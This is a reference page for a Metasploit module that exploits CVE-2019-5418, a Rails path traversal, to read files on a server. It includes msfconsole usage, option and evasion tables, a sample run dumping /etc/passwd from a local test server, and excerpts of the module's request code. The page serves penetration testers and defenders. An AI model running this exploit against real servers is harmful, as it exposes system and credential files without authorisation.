Ruby On Rails File Content Disclosure ('doubletap') - Metasploit


This page contains detailed information about how to use the auxiliary/gather/rails_doubletap_file_read metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Ruby On Rails File Content Disclosure ('doubletap')
Module: auxiliary/gather/rails_doubletap_file_read
Source code: modules/auxiliary/gather/rails_doubletap_file_read.rb
Disclosure date: -
Last modification time: 2019-04-21 12:00:20 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-5418

This module is also known as DoubleTap.

This module uses a path traversal vulnerability in Ruby on Rails versions =< 5.2.2 to read files on a target server.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/gather/rails_doubletap_file_read
msf auxiliary(rails_doubletap_file_read) > show targets
    ... a list of targets ...
msf auxiliary(rails_doubletap_file_read) > set TARGET target-id
msf auxiliary(rails_doubletap_file_read) > show options
    ... show and set options ...
msf auxiliary(rails_doubletap_file_read) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Ruby on Rails versions <= 5.2.2. The following example shows how to recreate the vulnerable environment on Linux:

https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/

Verification Steps


  1. Start a Rails server using a vulnerable version
  2. Start msfconsole
  3. Do: use auxiliary/gather/rails_doubletap_file_read
  4. Do: set ROUTE /your_route
  5. Do: set RHOSTS target
  6. Do: set TARGET_FILE /absolute/path/to/remote/file.txt
  7. Do: run
  8. If everything goes smoothly, you should get the contents of the remote file printed to the console.

Options


ROUTE

This is a web path or "route" on the vulnerable server. Since the vulnerability lies within the PathResolver of Rails, the route should be in the server's routes.rb file.

TARGET_FILE

This is the file to be read on the remote server. This must be an absolute path (eg. /etc/passwd).

Advanced Options


SKIP_CHECK

This options skips the initial vulnerability check and continues thinking the server is vulnerable.

Scenarios


Version of software and OS as applicable

msf5 > use auxiliary/gather/rails_doubletap_file_read
msf5 auxiliary(gather/rails_doubletap_file_read) > options

Module options (auxiliary/gather/rails_doubletap_file_read):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target address range or CIDR identifier
   ROUTE        /msf             yes       A route on the vulnerable server.
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGET_FILE  /etc/passwd      yes       The absolute path of remote file to read.
   VHOST                         no        HTTP server virtual host

msf5 auxiliary(gather/rails_doubletap_file_read) > set RHOSTS localhost
RHOSTS => localhost
msf5 auxiliary(gather/rails_doubletap_file_read) > set RPORT 8000
RPORT => 8000
smsf5 auxiliary(gather/rails_doubletap_file_read) > set ROUTE /demo
ROUTE => /demo
msf5 auxiliary(gather/rails_doubletap_file_read) > run
[*] Running module against 127.0.0.1

[+] Target is vulnerable!
[*] Requesting file /etc/passwd
[+] Response from server:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...snip...
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
postgres:x:105:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

[*] Auxiliary module execution completed  

Go back to menu.

Msfconsole Usage


Here is how the gather/rails_doubletap_file_read auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/rails_doubletap_file_read

msf6 auxiliary(gather/rails_doubletap_file_read) > show info

       Name: Ruby On Rails File Content Disclosure ('doubletap')
     Module: auxiliary/gather/rails_doubletap_file_read
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Carter Brainerd <[email protected]>
  John Hawthorn <[email protected]>

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  DEPTH          10               yes       The depth of the traversal.
  PRINT_RESULTS  true             yes       Print results of module (may hang with large amounts of data).
  Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  ROUTE          /home            yes       A route on the vulnerable server.
  RPORT          80               yes       The target port (TCP)
  SSL            false            no        Negotiate SSL/TLS for outgoing connections
  TARGET_FILE    /etc/passwd      yes       The absolute path of remote file to read.
  VHOST                           no        HTTP server virtual host

Description:
  This module uses a path traversal vulnerability in Ruby on Rails 
  versions =< 5.2.2 to read files on a target server.

References:
  https://hackerone.com/reports/473888
  https://github.com/mpgn/Rails-doubletap-RCE
  https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
  https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/
  https://nvd.nist.gov/vuln/detail/CVE-2019-5418
  https://www.exploit-db.com/exploits/46585

Also known as:
  DoubleTap

Module Options


This is a complete list of options available in the gather/rails_doubletap_file_read auxiliary module:

msf6 auxiliary(gather/rails_doubletap_file_read) > show options

Module options (auxiliary/gather/rails_doubletap_file_read):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   DEPTH          10               yes       The depth of the traversal.
   PRINT_RESULTS  true             yes       Print results of module (may hang with large amounts of data).
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   ROUTE          /home            yes       A route on the vulnerable server.
   RPORT          80               yes       The target port (TCP)
   SSL            false            no        Negotiate SSL/TLS for outgoing connections
   TARGET_FILE    /etc/passwd      yes       The absolute path of remote file to read.
   VHOST                           no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the gather/rails_doubletap_file_read auxiliary module:

msf6 auxiliary(gather/rails_doubletap_file_read) > show advanced

Module advanced options (auxiliary/gather/rails_doubletap_file_read):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SkipCheck             false                                               yes       Skip the initial vulnerability check.
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/rails_doubletap_file_read module can do:

msf6 auxiliary(gather/rails_doubletap_file_read) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/rails_doubletap_file_read auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/rails_doubletap_file_read) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

TARGET_FILE must be an absolute path (eg. /etc/passwd).


Here is a relevant code snippet related to the "TARGET_FILE must be an absolute path (eg. /etc/passwd)." error message:

58:	
59:	  def check
60:	    return true if datastore['SkipCheck']
61:	    # Check if target file is absolute path
62:	    unless datastore['TARGET_FILE'].start_with? '/'
63:	      vprint_error "TARGET_FILE must be an absolute path (eg. /etc/passwd)."
64:	      return Exploit::CheckCode::Unknown
65:	    end
66:	
67:	    # Fire off the request
68:	    res = send_request_cgi({

Request timed out.


Here is a relevant code snippet related to the "Request timed out." error message:

70:	      'uri' => normalize_uri(datastore['ROUTE']),
71:	      'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], '/etc/passwd')}
72:	    })
73:	
74:	    if res.nil?
75:	      vprint_error "Request timed out."
76:	      return Exploit::CheckCode::Unknown
77:	    end
78:	
79:	    if res.body.include? 'root:x:0:0:root:'
80:	      return Exploit::CheckCode::Vulnerable

Target is not vulnerable. Make sure your route is correct.


Here is a relevant code snippet related to the "Target is not vulnerable. Make sure your route is correct." error message:

77:	    end
78:	
79:	    if res.body.include? 'root:x:0:0:root:'
80:	      return Exploit::CheckCode::Vulnerable
81:	    else
82:	      vprint_error 'Target is not vulnerable. Make sure your route is correct.'
83:	      return Exploit::CheckCode::Unknown
84:	    end
85:	  end
86:	
87:	  def run

Check did not pass, exiting.


Here is a relevant code snippet related to the "Check did not pass, exiting." error message:

84:	    end
85:	  end
86:	
87:	  def run
88:	    unless check == Exploit::CheckCode::Vulnerable
89:	      print_error 'Check did not pass, exiting.'
90:	      return
91:	    end
92:	
93:	    fail_with(Failure::BadConfig, 'TARGET_FILE must be an absolute path (eg. /etc/passwd).') unless datastore['TARGET_FILE'].start_with? '/'
94:	

TARGET_FILE must be an absolute path (eg. /etc/passwd).


Here is a relevant code snippet related to the "TARGET_FILE must be an absolute path (eg. /etc/passwd)." error message:

88:	    unless check == Exploit::CheckCode::Vulnerable
89:	      print_error 'Check did not pass, exiting.'
90:	      return
91:	    end
92:	
93:	    fail_with(Failure::BadConfig, 'TARGET_FILE must be an absolute path (eg. /etc/passwd).') unless datastore['TARGET_FILE'].start_with? '/'
94:	
95:	
96:	    print_status "Requesting file #{datastore['TARGET_FILE']}"
97:	
98:	    res = send_request_cgi({

Request timed out.


Here is a relevant code snippet related to the "Request timed out." error message:

100:	      'uri' => normalize_uri(datastore['ROUTE']),
101:	      'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], datastore['TARGET_FILE'])}
102:	    })
103:	
104:	    if res.nil?
105:	      print_error "Request timed out."
106:	      return
107:	    end
108:	
109:	    unless res.code == 200
110:	      print_error "Failed to read file: #{datastore['TARGET_FILE']}. HTTP error: #{res.code}."

Failed to read file: <TARGET_FILE>. HTTP error: <RES.CODE>.


Here is a relevant code snippet related to the "Failed to read file: <TARGET_FILE>. HTTP error: <RES.CODE>." error message:

105:	      print_error "Request timed out."
106:	      return
107:	    end
108:	
109:	    unless res.code == 200
110:	      print_error "Failed to read file: #{datastore['TARGET_FILE']}. HTTP error: #{res.code}."
111:	      print_error 'User probably doesnt have access to the requested file.' if res.code == 500
112:	      return
113:	    end
114:	
115:	    unless datastore['PRINT_RESULTS']

User probably doesnt have access to the requested file.


Here is a relevant code snippet related to the "User probably doesnt have access to the requested file." error message:

106:	      return
107:	    end
108:	
109:	    unless res.code == 200
110:	      print_error "Failed to read file: #{datastore['TARGET_FILE']}. HTTP error: #{res.code}."
111:	      print_error 'User probably doesnt have access to the requested file.' if res.code == 500
112:	      return
113:	    end
114:	
115:	    unless datastore['PRINT_RESULTS']
116:	      print_good 'Response from server:'

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.